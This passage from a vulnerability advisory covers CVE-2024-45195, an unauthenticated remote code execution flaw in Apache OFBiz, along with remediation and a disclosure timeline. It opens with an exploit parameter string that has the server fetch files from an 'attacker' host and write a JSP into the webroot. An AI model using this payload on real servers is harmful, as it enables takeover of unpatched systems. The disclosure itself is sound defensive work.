DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

After the server fetches and processes our two files, browsing the targeted accounting/index.jsp path confirms that we’ve established unauthenticated remote code execution.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Remediation

We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.

Rapid7 Customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks expected to be available in today’s (Thursday, September 5) content release.

Disclosure Timeline

  • August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
  • August 17, 2024: Apache OFBiz community developer acknowledges report.
  • August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
  • August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
  • August 24, 2024: Patch sent to Rapid7 for testing.
  • August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
  • August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
  • September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
  • September 5, 2024: This disclosure.